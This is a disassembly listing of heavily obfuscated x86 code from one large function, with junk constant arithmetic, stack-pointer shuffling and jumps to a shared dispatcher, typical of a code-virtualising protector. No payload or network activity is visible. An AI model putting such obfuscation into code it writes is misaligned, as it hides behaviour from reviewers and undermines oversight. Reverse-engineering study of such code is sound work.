loc_5A4C83 ; --------------------------------------------------------------------------- loc_592DF6: ; CODE XREF: sub_581EE9+23886j push ecx mov ecx, 0CF66DF72h push ecx sub [esp-6E5Ah+arg_6E50+2], 13BB44BEh mov edi, [esp-6E5Ah+arg_6E50+2] add esp, 4 add edi, 13BB44BEh jmp loc_59A607 ; --------------------------------------------------------------------------- loc_592E18: ; CODE XREF: sub_581EE9+1FA97j pop esi add ax, bx mov bx, word ptr [esp-6E62h+arg_6E58+2] add esp, 2 add ax, 7074h sub esp, 4 mov [esp-6E62h+arg_6E58+2], edi mov di, 5BFBh add di, 0FB01h not di jmp loc_59420A ; --------------------------------------------------------------------------- loc_592E3E: ; CODE XREF: sub_581EE9+16A9Aj pop edi add eax, ecx push ebp jmp loc_59D7DB ; --------------------------------------------------------------------------- loc_592E47: ; CODE XREF: sub_581EE9+166C3j not eax xchg eax, ecx and ecx, 2903236Eh jmp loc_596DE0 ; --------------------------------------------------------------------------- loc_592E55: ; CODE XREF: sub_581EE9+14CB8j mov ebx, [esp-6E62h+arg_6E58+2] add esp, 4 jmp loc_59BD90 ; --------------------------------------------------------------------------- loc_592E63: ; CODE XREF: sub_581EE9+21D73j pop edi xor edi, 284D2586h pop eax xor edi, 3F0961BBh inc edi shr edi, 1 shl edi, 8 sub esp, 4 mov [esp-6E6Ah+arg_6E60+2], eax mov eax, 6880719h dec eax shr eax, 7 jmp loc_5998A2 ; --------------------------------------------------------------------------- loc_592E8B: ; CODE XREF: sub_581EE9+1521Cj sub edi, 4 xchg edi, [esp-6E6Ah+arg_6E60+2] pop esp mov [esp-6E6Eh+arg_6E64+2], eax push esp pop eax add eax, 4 push ebx mov ebx, 4 sub eax, ebx pop ebx xor eax, [esp-6E6Eh+arg_6E64+2] xor [esp-6E6Eh+arg_6E64+2], eax jmp loc_59F58E ; --------------------------------------------------------------------------- loc_592EB0: ; CODE XREF: sub_581EE9+1A7F4j push esi jmp loc_59DD5F ; --------------------------------------------------------------------------- loc_592EB6: ; CODE XREF: sub_581EE9+13DD5j xor ebp, edi pop edi push edi mov edi, 4AF82DE2h xor ebp, edi pop edi dec ebp sub ebp, 1 push edx mov edx, 42DF629Dh not edx inc edx inc edx jmp loc_595661 ; --------------------------------------------------------------------------- loc_592ED8: ; CODE XREF: sub_581EE9+1A4FAj mov ebx, 9565D58h not ebx and ebx, 635B5E9Dh jmp loc_59A5F6 ; --------------------------------------------------------------------------- loc_592EEA: ; CODE XREF: sub_581EE9+184E1j mov ecx, 5DD03238h jmp loc_5927F2 ; --------------------------------------------------------------------------- loc_592EF4: ; CODE XREF: sub_581EE9+1B55Bj add ebp, 4 push eax jmp loc_59D806 ; --------------------------------------------------------------------------- loc_592F00: ; CODE XREF: sub_581EE9+2197Dj add esi, 4 push ecx mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp-6E66h+arg_6E5C+2] jmp loc_5A31DF ; --------------------------------------------------------------------------- loc_592F17: ; CODE XREF: sub_581EE9+24D39j push eax jmp loc_5A0933 ; --------------------------------------------------------------------------- loc_592F1D: ; CODE XREF: sub_581EE9+12CBBj sub ecx, 866DD820h xor esi, ecx mov ecx, [esp-6E62h+arg_6E58+2] jmp loc_59CE6A ; --------------------------------------------------------------------------- loc_592F2D: ; CODE XREF: sub_581EE9+156F6j mov eax, edx pop edx add eax, ebp jmp loc_595B8F ; --------------------------------------------------------------------------- loc_592F37: ; CODE XREF: sub_581EE9+1659Fj mov edx, eax pop eax sub edx, 32937F71h push 1828h mov [esp-6E66h+arg_6E5C+2], ecx mov ecx, 1CB02A85h add ecx, 0B5B3B2Bh add ecx, 3CC61321h or edx, ecx pop ecx jmp loc_5A70CB ; --------------------------------------------------------------------------- loc_592F61: ; CODE XREF: sub_581EE9+21920j xor esi, [esp-6E6Ah+arg_6E60+2] mov esp, [esp-6E6Ah+arg_6E60+2] idiv ecx push 7B70h mov [esp-6E66h+arg_6E5C+2], edx jmp loc_59466B ; --------------------------------------------------------------------------- loc_592F76: ; CODE XREF: sub_581EE9+146EEj push esp jmp loc_5997AA ; --------------------------------------------------------------------------- loc_592F7C: ; CODE XREF: sub_581EE9+12F39j add ecx, 470F800h add ebx, ecx push [esp-6E62h+arg_6E58+2] mov ecx, [esp-6E5Eh+arg_6E54+2] jmp loc_5A4571 ; --------------------------------------------------------------------------- loc_592F8F: ; CODE XREF: sub_581EE9+1EA7Cj push ebp mov ebp, 5DF1452h dec ebp add ebp, 36260CE9h shr ebp, 6 inc ebp sub ebp, 0D9A7F256h add eax, ebp pop ebp sub eax, ecx jmp loc_5968D6 ; --------------------------------------------------------------------------- loc_592FB0: ; CODE XREF: sub_581EE9+1568Ej push 6DBCh mov [esp-6E5Ah+arg_6E50+2], ebx mov bh, dl push edx mov dh, bh mov ah, dh mov edx, [esp-6E56h+arg_6E4C+2] add esp, 4 pop ebx mov dl, byte ptr [esp-6E5Eh+arg_6E58+2] mov byte ptr [esp-6E5Eh+arg_6E58+2], ah jmp loc_59CD71 ; --------------------------------------------------------------------------- loc_592FD3: ; CODE XREF: sub_581EE9+21641j pop ecx xor ecx, 378B7A74h pop ebp add eax, ecx pop ecx push 0E30h mov [esp-6E66h+arg_6E5C+2], ebp push 48D4189Fh mov ebp, [esp-6E62h+arg_6E58+2] push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp-6E5Eh+arg_6E54+2] xor [esp-6E5Eh+arg_6E54+2], esi xor esi, [esp-6E5Eh+arg_6E54+2] jmp loc_596994 ; --------------------------------------------------------------------------- loc_593008: ; CODE XREF: sub_581EE9+25068j mov edx, [esp-6E5Eh+arg_6E54+2] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6E5Ah+arg_6E50+2] mov esp, [esp-6E5Ah+arg_6E50+2] push ebp push 98F2C1Ch jmp loc_59ED2B ; --------------------------------------------------------------------------- loc_593027: ; CODE XREF: sub_581EE9+13CCDj pop esi pop [esp-6E56h+arg_6E4C+2] pop esp mov [esp-6E5Eh+arg_6E54+2], eax jmp loc_5A30DD ; --------------------------------------------------------------------------- loc_593034: ; CODE XREF: sub_581EE9+1675Ej sub edx, 65A0404h jmp loc_59DC3A ; --------------------------------------------------------------------------- loc_59303F: ; CODE XREF: sub_581EE9+225BAj mov [esp-6E5Eh+arg_6E54+2], eax push 3907h mov [esp-6E5Ah+arg_6E50+2], esp add [esp-6E5Ah+arg_6E50+2], 4 mov eax, [esp-6E5Ah+arg_6E50+2] add esp, 4 sub esp, 4 mov [esp-6E5Ah+arg_6E50+2], esi mov esi, 7B6E457Ah or esi, 532A3602h push ebx push ecx push 38BF5609h pop ecx inc ecx push 0 sub [esp-6E4Eh+arg_6E44+2], ecx mov ecx, [esp-6E4Eh+arg_6E44+2] add esp, 4 xor ecx, 0D5D8CD09h push ecx jmp loc_59648F ; --------------------------------------------------------------------------- loc_59308B: ; CODE XREF: sub_581EE9+11F82j add edi, 4 add edi, 4 xchg edi, [esp-6E4Eh+arg_6E44+2] jmp loc_5A52FB ; --------------------------------------------------------------------------- loc_59309F: ; CODE XREF: sub_581EE9+11760j mov ebp, 56F737E3h sub esp, 4 mov [esp+0], edi push ecx mov ecx, 6CDB6887h mov edi, 0B4B4DF76h sub edi, ecx pop ecx add ebp, edi jmp loc_59FD85 ; --------------------------------------------------------------------------- loc_5930BF: ; CODE XREF: sub_581EE9+22C44j add edi, eax pop eax xchg edi, [esp-6E4Eh+arg_6E44+2] pop esp push edx mov edx, esp jmp loc_595AE8 ; --------------------------------------------------------------------------- loc_5930CE: ; CODE XREF: sub_581EE9+1AC0Bj xchg ebx, [esp-6E4Eh+arg_6E44+2] mov esp, [esp-6E4Eh+arg_6E44+2] imul cl movzx cx, ah push esi push esp mov esi, [esp-6E46h+arg_6E3E] jmp loc_599039 ; --------------------------------------------------------------------------- loc_5930E4: ; CODE XREF: sub_581EE9+180CFj xor ebx, 0E20FBF19h add edi, ebx pop ebx add edi, ecx sub edi, 1A85232Ch pop ecx push ebx push 2A62h mov [esp-6E46h+arg_6E3E], edi mov edi, 64236A75h jmp loc_59C64E ; --------------------------------------------------------------------------- loc_593109: ; CODE XREF: sub_581EE9+1DCC9j sub ecx, 52056A6Ah sub ecx, 5D0160C3h jmp loc_5A178E ; --------------------------------------------------------------------------- loc_59311A: ; CODE XREF: sub_581EE9+229E8j mov edi, ecx jmp loc_59E60B ; --------------------------------------------------------------------------- loc_593121: ; CODE XREF: sub_581EE9+19E30j mov [esp-6E46h+arg_6E3E], eax mov ah, bh push ebx mov bh, ah mov [ecx], bh pop ebx pop eax mov ebx, [esp+0] add esp, 4 jmp loc_5973FA ; --------------------------------------------------------------------------- loc_593138: ; CODE XREF: sub_581EE9+1C5D4j add esi, 3F9D6F06h sub esi, 61653705h add esi, 4BD7184Ch neg esi sub esi, 33822D9Dh jmp loc_599156 ; --------------------------------------------------------------------------- loc_593157: ; CODE XREF: sub_581EE9+228E9j add ebp, edi jmp loc_59D45B ; --------------------------------------------------------------------------- loc_59315E: ; CODE XREF: sub_581EE9+18261j mov [esp-6E4Eh+arg_6E44+2], ebp jmp loc_5A52B8 ; --------------------------------------------------------------------------- loc_593166: ; CODE XREF: sub_581EE9+1FE9Ej add al, bh sub al, 2Fh mov ebx, [esp-6E4Eh+arg_6E44+2] add esp, 4 sub al, dl jmp loc_59A8C7 ; --------------------------------------------------------------------------- loc_59317A: ; CODE XREF: sub_581EE9+12049j push ebx push [esp-6E4Eh+arg_6E48+2] jmp loc_5A3D5F ; --------------------------------------------------------------------------- loc_593184: ; CODE XREF: sub_581EE9+18025j add esi, 4 add esi, 4 xor esi, [esp+0] xor [esp+0], esi xor esi, [esp+0] jmp loc_59D35A ; --------------------------------------------------------------------------- loc_59319E: ; CODE XREF: sub_581EE9+17BA6j pop esp jmp loc_59D81E ; --------------------------------------------------------------------------- loc_5931A4: ; CODE XREF: sub_581EE9+1FE13j push esi push 69185F0Ch mov esi, [esp-6E46h+arg_6E3E] add esp, 4 neg esi add esi, 3E7D4BD8h xor esi, 918EE145h jmp loc_597E97 ; --------------------------------------------------------------------------- loc_5931C6: ; CODE XREF: sub_581EE9+16BC1j sub edx, 4 jmp loc_5A61ED ; --------------------------------------------------------------------------- loc_5931D1: ; CODE XREF: sub_581EE9+22481j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5931D6: ; CODE XREF: sub_581EE9+1036Cj mov ebx, esp push eax mov eax, 0ADE69F3h not eax jmp loc_5A371B ; --------------------------------------------------------------------------- loc_5931E5: ; CODE XREF: sub_581EE9+234DEj push 740Fh jmp loc_594CDD ; --------------------------------------------------------------------------- loc_5931EF: ; CODE XREF: sub_581EE9+16BF0j mov [esp-6EA8h+arg_6E9E+2], eax push edi push ecx jmp loc_5A48CC ; --------------------------------------------------------------------------- loc_5931F9: ; CODE XREF: sub_581EE9+20FC2j or esi, edx pop edx jmp loc_5A4F6C ; --------------------------------------------------------------------------- loc_593201: ; CODE XREF: sub_581EE9+120F3j shr ebx, 2 xor ebx, 778B6883h mov esi, ebx jmp loc_5990AA ; --------------------------------------------------------------------------- loc_593211: ; CODE XREF: sub_581EE9+15124j push eax mov eax, 38B3157Bh and ebx, eax pop eax push esi mov esi, 39A80C96h push ebp mov ebp, 0FFFFFFFFh add esi, ebp jmp loc_598B8B ; --------------------------------------------------------------------------- loc_59322D: ; CODE XREF: sub_581EE9+1B420j mov esi, eax pop eax jmp loc_59EE1F ; --------------------------------------------------------------------------- loc_593235: ; CODE XREF: sub_581EE9+1AF26j pop ebx xchg esi, [esp-6EA4h+arg_6E9A+2] jmp loc_5925C3 ; --------------------------------------------------------------------------- loc_59323E: ; CODE XREF: sub_581EE9+1639Cj sub ebx, eax push ebp mov ebp, 0B32114Fh neg ebp jmp loc_5A3A22 ; --------------------------------------------------------------------------- loc_59324D: ; CODE XREF: sub_581EE9+118A6j pop eax add ebx, 4 xchg ebx, [esp-6EA4h+arg_6E9A+2] mov esp, [esp-6EA4h+arg_6E9A+2] jmp loc_5A6EBA ; --------------------------------------------------------------------------- loc_59325F: ; CODE XREF: sub_581EE9+16CA5j neg ebp xchg ebp, esi xor esi, 475F2DC2h shr esi, 6 sub esi, 0D9511236h xor ebx, esi jmp loc_59FD12 ; --------------------------------------------------------------------------- loc_593279: ; CODE XREF: sub_581EE9+247A3j push 58A3h jmp loc_5A022D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp-6EA4h+arg_6E9A+2], eax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_593291: ; CODE XREF: sub_581EE9+1A0EFj shr edx, 1 cmp eax, edx jz loc_593E87 push edx mov edx, 20h sub edx, 21EB3938h add edx, edi push 1B8Bh mov [esp-6E98h+arg_6E8E+2], ebx mov ebx, 21EB3938h add edx, ebx pop ebx push eax push ecx mov ecx, 0 sub esp, 4 mov [esp+0], edx mov edx, ecx mov eax, edx pop edx pop ecx mov [edx], eax pop eax push [esp-6E9Ch+arg_6E92+2] jmp loc_59D3F4 ; --------------------------------------------------------------------------- loc_5932D7: ; CODE XREF: sub_581EE9+17FA9j add edx, 4 sub edx, 4 xchg edx, [esp-6E98h+arg_6E8E+2] pop esp jmp loc_598090 ; --------------------------------------------------------------------------- push ebp push 3797h mov [esp-6E94h+arg_6E8A+2], esp add [esp-6E94h+arg_6E8A+2], 4 jmp loc_59B3B8 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E94h+arg_6E8A+2] sub esp, 4 mov [esp+0], eax push 1D27h mov [esp-6E8Ch+arg_6E84], esp add [esp-6E8Ch+arg_6E84], 4 pop eax sub esp, 4 jmp loc_598C72 ; --------------------------------------------------------------------------- loc_593320: ; CODE XREF: sub_581EE9+1FF36j mov eax, esi pop esi jmp loc_594B9A ; --------------------------------------------------------------------------- loc_593328: ; CODE XREF: sub_581EE9+23653j push 777Dh mov [esp-6E8Ch+arg_6E84], ebx mov ebx, 4CE224F1h add edi, ebx mov ebx, [esp-6E8Ch+arg_6E84] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop ebp add esi, edi pop edi sub eax, 2E8B42D0h sub eax, 39ED657Fh sub eax, 3F942C26h add eax, esi jmp loc_5A420F ; --------------------------------------------------------------------------- loc_593367: ; CODE XREF: sub_581EE9+1E7DCj add al, 0EEh add al, bl sub al, 0EEh jmp loc_5A718C ; --------------------------------------------------------------------------- loc_593372: ; CODE XREF: sub_581EE9+1E209j add al, 53h add al, ch sub al, 53h jmp loc_5A0D9F ; --------------------------------------------------------------------------- loc_59337D: ; CODE XREF: sub_581EE9+20516j mov ecx, [esp-6E94h+arg_6E8A+2] jmp loc_595E06 ; --------------------------------------------------------------------------- push ebx push 1ED377C1h jmp loc_59CE14 ; --------------------------------------------------------------------------- loc_593390: ; CODE XREF: sub_581EE9+18212j sub esp, 2 mov word ptr [esp-6E88h+arg_6E80], cx mov cl, 0B8h add bh, cl pop cx add al, bh mov ebx, [esp-6E8Ah+arg_6E80+2] add esp, 4 jmp loc_596234 ; --------------------------------------------------------------------------- loc_5933B0: ; CODE XREF: sub_581EE9+2340Dj push edi jmp loc_59C1D0 ; --------------------------------------------------------------------------- loc_5933B6: ; CODE XREF: sub_581EE9+12A1Bj push edx sub esp, 4 mov dword ptr [esp-6E82h+arg_6E7A], ecx push 77C5E2Bh push [esp-6E7Eh+arg_6E76] pop ecx add esp, 4 sub esp, 4 mov [esp-6E7Eh+arg_6E76], esi mov esi, 0FFFFFFFFh sub ecx, esi pop esi add ecx, 4F7AD937h jmp loc_5A3262 ; --------------------------------------------------------------------------- loc_5933E5: ; CODE XREF: sub_581EE9+1F184j mov ecx, dword ptr [esp-6E82h+arg_6E7A] add esp, 4 push esi mov esi, esp push ebx jmp loc_5A3CAE ; --------------------------------------------------------------------------- loc_5933F7: ; CODE XREF: sub_581EE9+21F78j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5933FC: ; CODE XREF: sub_581EE9+24F66j xchg esi, [esp-6E7Eh+arg_6E76] mov esp, [esp-6E7Eh+arg_6E76] sub ebx, ebp jmp loc_5A3899 ; --------------------------------------------------------------------------- loc_593409: ; CODE XREF: sub_581EE9+1FC41j dec edi xor edi, 657C0826h push ebp jmp loc_59400A ; --------------------------------------------------------------------------- loc_593416: ; CODE XREF: sub_581EE9+1C4E3j pop dword ptr [esp] pop esp push 0FA2h mov [esp-6E7Eh+arg_6E76], ecx push 4901h mov [esp], esi jmp loc_5A0F2B ; --------------------------------------------------------------------------- loc_59342F: ; CODE XREF: sub_581EE9+15D18j not ebp jmp loc_59A098 ; --------------------------------------------------------------------------- loc_593436: ; CODE XREF: sub_581EE9+16E64j and ecx, 59015EC3h jmp loc_596BBD ; --------------------------------------------------------------------------- loc_593441: ; CODE XREF: sub_581EE9+1F03Dj add ebp, edx pop edx add ebp, 4 xchg ebp, [esp-6E7Eh+arg_6E76] pop esp push 3337h mov [esp-6E7Eh+arg_6E76], ebp push esp pop ebp jmp loc_599714 ; --------------------------------------------------------------------------- loc_59345D: ; CODE XREF: sub_581EE9+213E3j push edx mov edx, 37817B0Eh inc edx push ebx mov ebx, 1FE7329Ah or edx, ebx jmp loc_59E6C8 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_59FAAC ; --------------------------------------------------------------------------- loc_593479: ; CODE XREF: sub_581EE9+11AB1j add eax, 0F85E81CBh mov edx, eax jmp loc_593C05 ; --------------------------------------------------------------------------- loc_593485: ; CODE XREF: sub_581EE9+13932j sub esp, 4 mov [esp-6E6Eh+arg_6E64+2], ecx sub esp, 4 mov [esp-6E6Ah+arg_6E60+2], ebx push ecx mov ch, 5Dh jmp loc_59E0E5 ; --------------------------------------------------------------------------- loc_59349C: ; CODE XREF: sub_581EE9+22E3Dj pop esi xor ebx, 15EBA58h add esi, ebx mov ebx, [esp-6E6Ah+arg_6E60+2] jmp loc_59498F ; --------------------------------------------------------------------------- loc_5934AD: ; CODE XREF: sub_581EE9+1CFE5j push ebp jmp loc_59F066 ; --------------------------------------------------------------------------- loc_5934B3: ; CODE XREF: sub_581EE9+11BC2j pop edx sub bl, al jmp loc_59431C ; --------------------------------------------------------------------------- loc_5934BB: ; CODE XREF: sub_581EE9+156D0j not ebp shr ebp, 3 shl ebp, 8 jmp loc_5A2B23 ; --------------------------------------------------------------------------- loc_5934C8: ; CODE XREF: sub_581EE9+2001Dj pop esi jmp loc_5A5AA2 ; --------------------------------------------------------------------------- loc_5934CE: ; CODE XREF: sub_581EE9+1A5D3j push 1718h jmp loc_5A46A0 ; --------------------------------------------------------------------------- loc_5934D8: ; CODE XREF: sub_581EE9+228ABj or ebx, edx pop edx jmp loc_5924ED ; --------------------------------------------------------------------------- loc_5934E0: ; CODE XREF: sub_581EE9+1C998j xor eax, [esp-6E6Eh+arg_6E64+2] xor [esp-6E6Eh+arg_6E64+2], eax not eax xchg eax, [esp-6E6Eh+arg_6E64+2] push [esp-6E6Eh+arg_6E64+2] jmp loc_59A4FC ; --------------------------------------------------------------------------- loc_5934F3: ; CODE XREF: sub_581EE9+13411j shl esi, 3 jmp loc_59F0D1 ; --------------------------------------------------------------------------- loc_5934FB: ; CODE XREF: sub_581EE9+1F961j pop edx pop edx sub eax, 0ADF1CFAh add eax, 1CDB1BC9h jmp loc_594744 ; --------------------------------------------------------------------------- loc_59350C: ; CODE XREF: sub_581EE9+127E6j push [esp-6E72h+arg_6E6E] pop ecx pop [esp-6E72h+arg_6E68+2] pop esp push 478Ch mov [esp-6E76h+arg_6E6E], ebx mov ebx, esp add ebx, 4 jmp loc_5948F1 ; --------------------------------------------------------------------------- loc_59352A: ; CODE XREF: sub_581EE9+18897j xor al, 3Ch sub bh, 55h sub bh, 12h sub bh, al add bh, 12h add bh, 55h pop eax xor al, bh mov ebx, [esp-6E7Ah+arg_6E72] add esp, 4 push ecx push esp pop ecx jmp loc_59273A ; --------------------------------------------------------------------------- loc_59354B: ; CODE XREF: sub_581EE9+2297Ej add cl, 3 jmp loc_594F15 ; --------------------------------------------------------------------------- loc_593553: ; CODE XREF: sub_581EE9+23E5Cj neg esi jmp loc_5A117B ; --------------------------------------------------------------------------- loc_59355A: ; CODE XREF: sub_581EE9+19CDCj pop eax jmp loc_5982D5 ; --------------------------------------------------------------------------- loc_593560: ; CODE XREF: sub_581EE9+1DDEBj mov edi, eax mov eax, [esp-6E7Eh+arg_6E76] add esp, 4 jmp loc_5A282B ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp-6E86h+arg_6E7C+2], eax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59357E: ; CODE XREF: sub_581EE9+1C8F5j push dword ptr [esp-6E82h+arg_6E7A] pop edx push edi mov edi, esp jmp loc_5929C9 ; --------------------------------------------------------------------------- loc_59358A: ; CODE XREF: sub_581EE9+14CCFj not ebx add ebx, 0A1EB6AC8h xor edi, ebx jmp loc_59B98B ; --------------------------------------------------------------------------- loc_593599: ; CODE XREF: sub_581EE9+15F33j add [esp-6E7Eh+arg_6E76], 4 pop [esp-6E7Eh+arg_6E76] add dword ptr [esp-6E82h+arg_6E7A], 4 pop ecx push ebp jmp loc_597330 ; --------------------------------------------------------------------------- loc_5935B1: ; CODE XREF: sub_581EE9+12F28j not edi sub edi, 0A9E2AEDh push ebx mov ebx, 8AF4AF1Fh push 50B5h mov [esp], edx mov edx, 513167BDh add edi, edx mov edx, [esp] add esp, 4 sub edi, ebx push eax mov eax, 72141F1Ch push edi mov edi, 3C0F3355h or eax, edi mov edi, [esp-6E76h+arg_6E6E] add esp, 4 sub eax, 507F6535h jmp loc_5A3924 ; --------------------------------------------------------------------------- loc_5935F7: ; CODE XREF: sub_581EE9+15119j push ecx jmp loc_592445 ; --------------------------------------------------------------------------- loc_5935FD: ; CODE XREF: sub_581EE9+13E38j pop ebp inc ebp and ebp, 35462287h sub ebp, 0ACD71295h mov edx, ebp pop ebp xor edx, eax pop eax add eax, edx mov edx, dword ptr [esp-6E82h+arg_6E7A] jmp loc_593D3A ; --------------------------------------------------------------------------- loc_59361B: ; CODE XREF: sub_581EE9+18112j shl eax, 6 jmp loc_5A02D7 ; --------------------------------------------------------------------------- loc_593623: ; CODE XREF: sub_581EE9+25264j mov esi, esp add esi, 4 add esi, 4 xchg esi, dword ptr [esp-6E82h+arg_6E7A] jmp loc_598F04 ; --------------------------------------------------------------------------- loc_593636: ; CODE XREF: sub_581EE9+15956j sub esi, 4 xchg esi, dword ptr [esp-6E82h+arg_6E7A] pop esp mov [esp-6E86h+arg_6E7C+2], ebx jmp loc_599C47 ; --------------------------------------------------------------------------- loc_593648: ; CODE XREF: sub_581EE9+2137Bj pop ecx jmp loc_59309F ; --------------------------------------------------------------------------- loc_59364E: ; CODE XREF: sub_581EE9+23610j mov ecx, 221D58C8h and ecx, 27B30A97h jmp loc_5A2C11 ; --------------------------------------------------------------------------- loc_59365E: ; CODE XREF: sub_581EE9+19061j xchg esi, [esp-6E8Ah+arg_6E80+2] mov esp, [esp-6E8Ah+arg_6E80+2] mov [esp-6E8Ah+arg_6E80+2], ebx jmp loc_59830D ; --------------------------------------------------------------------------- loc_59366C: ; CODE XREF: sub_581EE9+1571Fj mov esp, [esp-6E8Ah+arg_6E80+2] mov word ptr [esp-6E8Ah+arg_6E80+2], cx movzx cx, al push cx pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59367F: ; CODE XREF: sub_581EE9+213FEj push ecx mov ecx, 60194344h dec ecx neg ecx xor ecx, 9FE6BCB9h add ebx, ecx pop ecx add ebx, 4 xchg ebx, [esp-6E84h+arg_6E7C] pop esp pop eax add al, 0A1h add al, 0BCh add al, dl sub al, 0BCh jmp loc_59F524 ; --------------------------------------------------------------------------- loc_5936A6: ; CODE XREF: sub_581EE9+16101j pop ebx sub esp, 4 mov [esp-6E8Ch+arg_6E84], eax push ecx mov cl, 0B6h mov al, cl pop ecx shl al, 4 push bx mov bl, 0F7h jmp loc_59C7DC ; --------------------------------------------------------------------------- loc_5936C2: ; CODE XREF: sub_581EE9+1633Ej mov esi, esp push 99Dh mov [esp-6E86h+arg_6E7C+2], eax mov eax, 568D4920h sub eax, 5ADE2181h sub eax, 0FFFFFFFFh not eax xor eax, 79B828ACh xor eax, 7DE8F0F7h add esi, eax pop eax push ebx push 0C55h mov dword ptr [esp-6E82h+arg_6E7A], edi mov edi, 6DDA21F0h mov ebx, 9225DE14h add ebx, edi pop edi add esi, ebx jmp loc_59E7A9 ; --------------------------------------------------------------------------- loc_593705: ; CODE XREF: sub_581EE9+18DE5j pop ebx sub eax, ecx jmp loc_5A594A ; --------------------------------------------------------------------------- loc_59370D: ; CODE XREF: sub_581EE9+17730j add edx, ecx jmp loc_59C4DB ; --------------------------------------------------------------------------- loc_593714: ; CODE XREF: sub_581EE9+15AA8j push eax mov al, 46h mov ch, al jmp loc_59AF2E ; --------------------------------------------------------------------------- loc_59371E: ; CODE XREF: sub_581EE9+20848j mov [esp-6E86h+arg_6E7C+2], esi mov esi, 4 add eax, 6B423A3Fh add eax, esi sub eax, 6B423A3Fh pop esi push edi jmp loc_59C644 ; --------------------------------------------------------------------------- loc_593739: ; CODE XREF: sub_581EE9+12025j sub edx, 1B8B0C6Ch jmp loc_597F46 ; --------------------------------------------------------------------------- loc_593744: ; CODE XREF: sub_581EE9+233E4j add ecx, ebp sub ecx, 6A146BF9h jmp loc_5996D0 ; --------------------------------------------------------------------------- loc_593751: ; CODE XREF: sub_581EE9+145B4j pop ecx not ebx shr ebx, 3 add ebx, 94B746Eh not ebx sub ebx, 1DC01938h sub ebx, 6E032682h sub esi, ebx pop ebx shr esi, 2 push edi jmp loc_5A68B3 ; --------------------------------------------------------------------------- loc_593777: ; CODE XREF: sub_581EE9+18DD4j pop edx pop ecx add al, bl sub al, 0B7h pop bx add al, bl sub al, 4Fh jmp loc_5973DB ; --------------------------------------------------------------------------- loc_593788: ; CODE XREF: sub_581EE9+1B7C9j add eax, 1611490Ah add ebx, eax jmp loc_59324D ; --------------------------------------------------------------------------- loc_593794: ; CODE XREF: sub_581EE9+18C6Aj sub cl, 0C0h sub dh, cl pop ecx jmp loc_59D1B0 ; --------------------------------------------------------------------------- loc_59379F: ; CODE XREF: sub_581EE9+1C6E6j mov esi, 6E4F23C0h and ecx, esi pop esi xor ecx, 100D04A6h neg ecx add ecx, 98C0603h add ecx, 0CAFDC7FFh jmp loc_59DE11 ; --------------------------------------------------------------------------- loc_5937C0: ; CODE XREF: sub_581EE9+1214Aj mov esi, 761A76C2h jmp loc_594F2E ; --------------------------------------------------------------------------- loc_5937CA: ; CODE XREF: sub_581EE9+1E44Dj pop ebx add eax, 5D943C91h sub esi, 48006D6h add esi, eax add esi, 48006D6h push [esp-6EA0h+arg_6E96+2] pop eax add esp, 4 jmp loc_5A259A ; --------------------------------------------------------------------------- loc_5937EA: ; CODE XREF: sub_581EE9+15303j push [esp-6EA4h+arg_6E9A+2] pop ebp jmp loc_59FC59 ; --------------------------------------------------------------------------- loc_5937F3: ; CODE XREF: sub_581EE9+24E36j mov esi, edi mov edi, [esp-6EA4h+arg_6E9A+2] add esp, 4 xor ebx, esi pop esi push ebx push edx mov edx, 408F53D2h xor [esp-6EA4h+arg_6E9E+2], edx pop edx jmp loc_59D0D6 ; --------------------------------------------------------------------------- loc_593812: ; CODE XREF: sub_581EE9+23298j push ecx mov ecx, 3DC174FDh add edx, ecx pop ecx push 6136h mov [esp-6EA4h+arg_6E9A+2], edi mov edi, 50D74F43h sub edx, 4A7063E9h jmp loc_59B45B ; --------------------------------------------------------------------------- loc_593833: ; CODE XREF: sub_581EE9+1DE8Ej pop ebx shr ebx, 8 and ebx, 0D710C8Bh dec ebx push edi mov edi, 7A826B23h jmp loc_5A0E20 ; --------------------------------------------------------------------------- loc_593849: ; CODE XREF: sub_581EE9+155B6j add esp, 4 xchg eax, [esp-6EA8h+arg_6E9E+2] pop esp mov ax, word ptr [esp-6EACh+arg_6EA4] push 6165h mov [esp-6EA8h+arg_6E9E+2], ecx push 1003h push 52B8h jmp loc_596A3E ; --------------------------------------------------------------------------- loc_59386E: ; CODE XREF: sub_581EE9+21B34j add edx, 4 jmp loc_5A1C90 ; --------------------------------------------------------------------------- loc_593879: ; CODE XREF: sub_581EE9+20A2Fj add esi, 43E75506h pop eax jmp loc_59BB91 ; --------------------------------------------------------------------------- loc_593885: ; CODE XREF: sub_581EE9+19212j and edi, 2E613227h add edi, 3FC50CFBh push edi jmp loc_59ED8B ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59389F: ; CODE XREF: sub_581EE9+15393j push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp-6E9Eh+arg_6E96] xor [esp-6E9Eh+arg_6E96], esi xor esi, [esp-6E9Eh+arg_6E96] jmp loc_5A5AA7 ; --------------------------------------------------------------------------- loc_5938BC: ; CODE XREF: sub_581EE9+19F5Bj mov ebx, 11A433D0h mov edi, 28A816FBh add edi, ebx pop ebx inc edi or edi, 43364ECCh or edi, 3DD76399h add edi, 78B63257h sub edi, 0B5AE55FDh xor edx, edi pop edi not edx push edx not [esp-6EA2h+arg_6E9A] mov edx, [esp-6EA2h+arg_6E9A] add esp, 4 push ebx mov ebx, 1313257h and edx, ebx jmp loc_59A07A ; --------------------------------------------------------------------------- loc_593901: ; CODE XREF: sub_581EE9+1FE84j mov ebx, 5EBB75B4h jmp loc_5A0DBF ; --------------------------------------------------------------------------- loc_59390B: ; CODE XREF: sub_581EE9+17306j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-6E9Eh+arg_6E96] pop esp add esp, 4 push 5A9Ah mov [esp-6EA2h+arg_6E9A], edi jmp loc_59D4F9 